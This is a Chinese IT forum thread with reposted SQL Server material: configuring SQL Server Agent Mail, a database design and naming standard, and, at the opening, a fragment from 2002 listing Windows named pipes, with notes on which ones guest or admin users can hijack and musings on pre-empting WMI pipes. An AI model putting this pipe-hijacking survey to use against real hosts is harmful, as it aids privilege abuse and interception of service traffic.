WMIEP_6f0 (2, -1)<-----------------可以在ADMIN下劫持
sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1) 返回所有管道实例都忙的错误信息,不知道是否ACL设置许可复用
winreg (2, -1)<-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-6f0-0 (1, 1)<-----------------可以在ADMIN下劫持

其中在GUEST权限下可劫持的有
WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL 的就不说了,不过sql\console这个管道用于什么方面还不清楚,如果有默认的一些用途的话,估计也是一个点。
nddeapi的基本存在nddeapi的应用的话就可以发生
WMI的就难点,看这样子是随着发展每个连接都会新建起来的,那样后复用作用就不大,只能采用预测名字的方法提前复用来攻击,但是奇怪的是其权限是不同的,有些WMI的不能GUEST复用,有些又可以,有时间了具体测试一下WMI客户与服务器之间连接产生的管道通讯的情况,或许也是走一个默认的管道名,说不定就可以攻击了呢,:)

发布时间:2002年11月09日13时

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
98#
 楼主| 发表于 2003-12-23 22:46 | 只看该作者
关于为SQL 配置一个邮件配置文件
问:关于为SQL Server 2000 和 SQL Server 7.0 配置一个邮件配置文件,我需要了解些什么?

答:您可以配置一个SQL Server邮件配置文件以便于通过运行Transact-SQL 代码来发送和接受邮件(例如:使用xp sendmail 扩展存储过程来发送e-mail)。您还可以为SQL Server Agent配置一个邮件配置文件,以便于在特定的作业失败或产生一个报警的时候,会自动给操作员发送一封e-mial。用邮件配置文件可以确定邮件服务器以及服务器是POP3服务器还是SMTP服务器、SQL Server登录名和密码这样的连接细节。为SQL Server和SQL Server Agent服务配置邮件配置文件的过程和为您的邮箱配置邮件配置文件以使您可以从邮件客户端收发邮件的过程基本上相同。但是您需要考虑以下的几个问题,这些问题是单指配置SQL Server而言,不是指配置SQL Server 和 SQL Server Agent。

为了使用邮件服务,SQL Server 帐户必须在一个正确的Microsoft Windows NT&reg;帐户下启动,并且不能是一个本地系统帐户。因为SQL Server和SQL Server Agent 服务必须能够访问邮件服务器,该帐户需要对网络进行访问。但本地系统帐户不能对网络进行访问。

使用运行SQL Server 服务所需要的Windows NT 域和帐户登录到运行SQL Server的计算机上,然后可以创建邮件配置文件。注意:邮件配置文件和“我的文档”文件夹一样与特定的登录帐户有关。例如:如果您在您自己的帐户(比如:DOMAIN\SmithJ )下创建了一个邮件配置文件,但是SQL Server运行在它自己的帐户(DOMAIN\SQLServer)下,那么SQL Server不能够检测到或者不能够使用这个邮件配置文件。

在开始创建您的邮件配置文件之前,请确信SQL Server 可以连接到邮件服务器。简单地用“Ping”命令测试一下就可以了。

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
99#
 楼主| 发表于 2003-12-23 22:47 | 只看该作者
SQL Server 70中配置SQL Server Agent Mail 指南


配置环境:
MS Win NT40中文标准版(SP6)
SQL Server 70 (7.00.725;SP1+HotFix)
Outlook Express 5 (5.00.2314.1300)


安装步骤:
1、 安装Windows Messaging 组件;



2、 重新安装SP6;
3、 为SQL Server Agent建立服务帐号sqlagent (Admin权限);
4、 退出当前登录,以sqlagent帐号登录;
5、 进入控制面板->电子邮件,设置Internet Mail

输入正确电子邮件服务器地址,要求该服务器支持SMTP协议,其他可随意填写;


6、 设置Outlook Express;
打开Outlook Express若首次打开,则提示设置连接,之后提示建立邮件帐号,选择引入,按提示完成设置,如已配置帐号则由文件->导入->邮件帐号设置,启动该向导,并确认新导入的帐号设置为缺省帐号;


7、 设置SQL Server Agent 服务帐号;

8、 设置SQL Server Agent Mail;

9、 添加操作员;


10、 在JOB中设置报警通知;


至此,已完成SQL Agent Mail的设置,当发生满足报警通知条件的事件,系统将相关信息发送到操作员的信箱中。

修改邮件帐号设置:
当需要修改发送邮件服务器及帐号设置时,要在Outlook Express中修改相应配置信息。在控制面板-电子邮件=

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
100#
 楼主| 发表于 2003-12-23 22:57 | 只看该作者
数据库设计规范 (转贴)
数据库设计规范
1 目的

规范数据库设计。

2 概述

从数据库的设计原则 设计文档几方面论述数据库设计的规范思想及命名规则。

3 数据库应用结构

根据对一般业务系统的分析,将数据库和程序系统统一进行整体描述,展示数据库的

表之间以及与程序模块间的关系。

3.1 数据表和程序模块的分类

根据“处理特点”,将数据表和程序模块进行分类如下:

数据表分类:业务数据表、基本编码表、辅助编码表、系统信息表、累计数据表、结

算数据表、决策数据表。
程序模块分类:初始化、业务处理、完整性检测与修正、结算处理、统计处理。

3.1.1 数据表分类说明

业务数据表:记录业务发生的过程和结果。如,合同、出仓单、申请单、凭证。
基本编码表:描述业务实体的基本信息和编码。如,产品、客户、供应商、雇员。
辅助编码表:描述属性的列表值。如,合同类型、职称、民族、付款方式。
系统信息表:存放与系统操作、业务控制有关的参数。如,用户信息、权限、用户配

置信息、成本核算方式。
累计数据表:存放业务的当前值和累计值。如,当前库存、当前存款、累计销售、累

计支出、应收账款。
结算数据表:存放各个时期末的结存数。如,月末库存、月末银行存款、应收账款月

结。
决策数据表:存放各个时期内发生的统计值。如,月销售统计、月回款统计、出入库

统计。

3.1.2 程序模块分类说明

初始化:系统运行前对系统进行数据的初始化。如,库存初始化。
业务处理:业务过程的控制和结果记录。如,合同录入、费用审批、出入库。
完整性检测与修正:对累计数据表进行检查并自动修正。如对当前库存、当前存款、

累计销售的检查和重新计算。
结算处理:计算并记录各个时期末的结存数。库存月结、应收账款月结。
统计处理:计算并记录各个时期内发生的统计数。如,统计月销售、统计月回款、统

计出入库。

3.2 数据表间的关系

业务数据表<-->基本编码表 主-外键关系。如,合同表<-->客户编码表;
业务数据表<-->辅助编码表 主-外键关系。如,合同表<-->付款方式;
业务数据表、累计数据表、结算数据表:累计数据表=结算数据表(上期末) + 业务数

据表(本期内发生)。如当前库存=上月末库存数+(本月入库数-本月出库数);
决策数据表<-->业务数据表 决策数据表的数据是由业务数据表中数据导出(统计)的;

3.3 数据表与程序模块间的关系

由一个例子(仓库管理)来说明数据表与程序模块之间的关系:
. 系统使用前,由初始化模块对库存数(累计数据表)和上月末库存数(结存数据表)进

行初始化;
. 当有入库业务发生时,由入库模块(业务处理)将入库单录入并保存到入库单明细帐(

业务数据表)中,同时将入库数累加到库存数(累计数据表)中;
. 定期或不定期,库存数核算模块(检查完整性检测与修正)根据上月末的库存数(结存

数据表)、本月已发生数(业务数据表)检查当前的库存数(累计数据表)是否符合,不符合

则给出提示,可手工或自动进行更正(当前库存数=上月末库存数+本月入库数-本月出库数

);
. 每月初,进行上月的月结处理。月结模块(结算处理)根据上月初的库存数(结存数据

表)、上月发生数(业务数据表)计算出上月末的库存数(累计数据表)。公式为:上月末库

存数=上月初库存数+上月入库数-上月出库数;
. 每个月月结后,库存业务月统计模块(统计处理)统计上月的各种库存商品的入库和

出库数,便于查询和生成报表,也作为决策支持的数据基础。

3.4 数据表命名时对数据表分类的考虑

. 业务数据表:t_d_<系统标识>_<表标识>。如销售系统的合同表 t_d_SH_Contract

或 t_d_SH_合同;
. 基本编码表:t_b_[<系统标识>]_<表标识>。如客户编码表t_b_Customer 或 t_b_客

户;
. 辅助编码表:t_a_[<系统标识>]_<表标识>。如合同类别t_a_ContType 或 t_a_合同

类别;
. 系统信息表:t_s_[<系统标识>]_<表标识>。如用户表t_s_User 或 t_s_用户;
. 累计数据表:t_t_<系统标识>_<表标识>。如当前库存表t_t_SO_Stock 或 t_t_SO_

库存;
. 结算数据表:t_c_<系统标识>_<表标识>。如库存月结表t_c_SO_StockMonth 或

t_c_SO_库存月结;
. 决策数据表:t_w_<系统标识>_<表标识>。如月销售统计表t_w_SH_SellMonth 或

t_w_SH_月销售统计;

注:[]内的内容表示可选。如“t_s_[<系统标识>]_<表标识>”表示t_s_SH_User 和

t_s_User 都是符合规则的。

4 数据库结构原则

规定除数据库设计所遵循的范式外的一些适用原则,在遵循数据库设计范式的基础上

,合理地划分表,添加状态和控制字段等。

4.1 辅助编码表

为了使辅助编码表能起到预期的效能,又不因过多的辅助编码表难以管理,故对辅助

编码表的使用作如下规定:

1. 当某辅助编码表的编码允许用户添加时,应设计成“独立”的数据表;否则,将不

允许用户添加编码的各辅助编码表合并成一个“通用”的辅助编码表。
2. “独立”的辅助编码表与主表的列采用主-外约束保证列数据完整性。
3. “通用”的辅助编码表与各主表间没有约束关系,主表列的数据完整性由列说明的

“域”来保证。
4. “通用”的辅助编码表除编码和名称列外,还有一个标识列,用来标识合并前的各

码表,该标识列+编码列作为该表的主键。
5. 对于“独立”的辅助编码表,用户只可添加新的编码和改变名称,并且不能改变一

个编码所代表的意义;对于“通用”的辅助编码表,原则上不允许用户修改,或只有限地

允许修改名称。

4.2 基本编码表

1. 基本编码表可以有如下的标识列:内编码、外编码、助记码、简称、全称。内编码

(唯一编码)作为主键有程序自动生成,用户不可见;外编码(唯一编码)由用户按某种

规则自行定义,用户可见;助记码为拼音缩,方便录入,不唯一,重码时由列表选择;简

称用于列表显示和报表,以便缩短行宽。以上的列在实现时可视情况和习惯加以删减。
2. 当码表的列较多且也行较多时,可将上述的标识列和常用的信息存于一个表,将其

它的信息另表存储。

4.3 业务数据表

1. 设有‘录入人’和‘录入日期’列,由系统自动记录。
2. 记录单据的表中设置“自动单据号”,由两个字符开始以区分单据类型,后跟一数

字序列表示序号。‘自动单据号’由系统自动生成,作为主表的主键,不允许用户修改。

当有对应的纸质单据时,设置“单据号”用于记录纸质单据的单据号。
3. 明细表中设有行序号,自动记录行的录入顺序。
4. 设置“存档标记”列,用于抽取数据到决策数据库时的更新标记。插入新行或修改

已有行时设置该标记;数据抽取后清除该标记。
5. 对于用于查询过滤条件的列,不可为空,以免行“丢失”。
6. 对于数值列,不可为空,“0”作为默认值。
7. 对于必要的“冗余”列,如客户名称,应有相应的程序保持各“冗余”列的同一性

,以免出现异议。
8. 设置“过程状态”列和“记录状态”列。过程状态列用于记录如创建、审核、记账

、冲红等状态;记录状态用于记录如有效、删除等状态。

5 数据库命名原则

5.1 表名

. 业务数据表:t_d_<系统标识>_<表标识>。
. 基本编码表:t_b_[<系统标识>]_<表标识>。
. 辅助编码表:t_a_[<系统标识>]_<表标识>。
. 系统信息表:t_s_[<系统标识>]_<表标识>。
. 累计数据表:t_t_<系统标识>_<表标识>。
. 结算数据表:t_c_<系统标识>_<表标识>。
. 决策数据表:t_w_<系统标识>_<表标识>。

5.2 视图

v_<视图类型>_[<系统标识>]_<视图标识>。视图类型参见《表的分类》。

5.3 存储过程

p_[<系统标识>]_<存储过程标识>

5.4 函数

f_[<系统标识>]_<函数标识>

5.5 触发器

tr_<表名>_<i,u,d的任意组合> (after)
ti_<表名>_<i,u,d的任意组合> (instead)

5.6 自定义数据类型

ud_<自定义数据类型标识>_<数据类型>

5.7 Default

df_<Default标识>

5.8 Rule

ru_<Rule标识>

5.9 主键

pk_<表名>_<主键标识>

5.10 外键

fk_<表名>_<主表名>_<外键标识>

使用道具 举报

回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

TOP技术积分榜 社区积分榜 徽章 团队 统计 知识索引树 积分竞拍 文本模式 帮助
  ITPUB首页 | ITPUB论坛 | 数据库技术 | 企业信息化 | 开发技术 | 微软技术 | 软件工程与项目管理 | IBM技术园地 | 行业纵向讨论 | IT招聘 | IT文档
  ChinaUnix | ChinaUnix博客 | ChinaUnix论坛
CopyRight 1999-2011 itpub.net All Right Reserved. 北京盛拓优讯信息技术有限公司版权所有 联系我们 未成年人举报专区 
京ICP备16024965号-8  北京市公安局海淀分局网监中心备案编号:11010802021510 广播电视节目制作经营许可证:编号(京)字第1149号
  
快速回复 返回顶部 返回列表